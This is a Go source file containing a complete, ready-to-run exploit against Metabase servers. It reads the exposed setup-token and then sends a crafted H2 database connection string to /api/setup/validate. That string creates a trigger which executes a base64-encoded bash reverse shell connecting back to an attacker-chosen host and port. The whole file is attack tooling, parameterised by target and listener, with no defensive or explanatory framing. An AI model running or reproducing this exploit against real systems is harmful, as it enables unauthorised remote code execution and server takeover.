package main

import (
        "crypto/tls"
        "encoding/base64"
        "encoding/json"
        "fmt"
        "github.com/hpifu/go-kit/hflag"
        "io/ioutil"
        "net/http"
        "os"
        "strconv"
        "strings"
        "time"
)

type TokenResult struct {
        SetupToken string `json:"setup-token"`
}

func main() {
        targetHost, listenerHost, port := metabaseparseFlag()
        tokenString := getToken(targetHost)
        if tokenString == "" {
                fmt.Println("[*] Setup-Token Not Found\n[*] Exploit Faild Program Exited")
                return
        }

        doExploit(targetHost, tokenString, listenerHost, port)
}
func metabaseparseFlag() (targetHost, listenerHost, listenPort string) {
        hflag.AddFlag("target", "Remote Target Host", hflag.Required(), hflag.Shorthand("u"))
        hflag.AddFlag("host", "Lisetner Host IP or Domain", hflag.Required(), hflag.Shorthand("h"))
        hflag.AddFlag("port", "Listen Port", hflag.Shorthand("p"), hflag.Required())
        if err := hflag.Parse(); err != nil {
                fmt.Println(hflag.Usage())
                os.Exit(0)
        }
        return hflag.GetString("target"), hflag.GetString("host"), hflag.GetString("port")
}
func getToken(target string) (tokenStr string) {
        r, err := http.Get(target + "/api/session/properties")
        if err != nil {
                fmt.Println(err)
                return
        }
        defer func() {
                _ = r.Body.Close()
        }()
        b, err2 := ioutil.ReadAll(r.Body)

        if err2 != nil {
                fmt.Print(err2)
                return
        }
        var givemeToken TokenResult
        _ = json.Unmarshal(b, &givemeToken)
        return fmt.Sprintf("%s", givemeToken.SetupToken)
}

func doExploit(target, token, reverseHost, reversePort string) {
        reverseData := "bash -i >&/dev/tcp/" + reverseHost + "/" + reversePort + " 0>&1"
        reversePayload := base64.StdEncoding.EncodeToString([]byte(reverseData))
        postdata := `{
    "details": {
        "auto_run_queries": true,
        "cache_ttl": null,
        "details": {
            "advanced-options": false,
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,` + reversePayload + `}|{base64,-d}|{bash,-i}')\n$$--=x",
            "ssl": true
        },
        "engine": "h2",
        "is_full_sync": false,
        "is_on_demand": false,
        "is_sample": false,
        "name": "test",
        "refingerprint": false,
        "schedules": {}
    },
    "token": "` + token + `"
}`

        cli := &http.Client{
                Transport: &http.Transport{
                        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
                },
                Timeout: time.Second * 15,
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                        return http.ErrUseLastResponse
                },
        }
        postURL := `/api/setup/validate`
        request, err := http.NewRequest(http.MethodPost, target+postURL, strings.NewReader(postdata))
        if err != nil {
                fmt.Println(err)
        }
        request.Header.Set("User-Agent", "QAXNB Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1")
        request.Header.Set("Accept-Encoding", "gzip, deflate")
        request.Header.Set("Accept", "*/*")
        request.Header.Set("Connection", "keep-alive")
        request.Header.Set("Content-Type", "application/json")
        request.Header.Set("Content-Length", strconv.Itoa(len(postdata)))
        do, err := cli.Do(request)
        if err != nil {
                fmt.Println(err)
        }
        defer func() {
                _ = do.Body.Close()
        }()

}
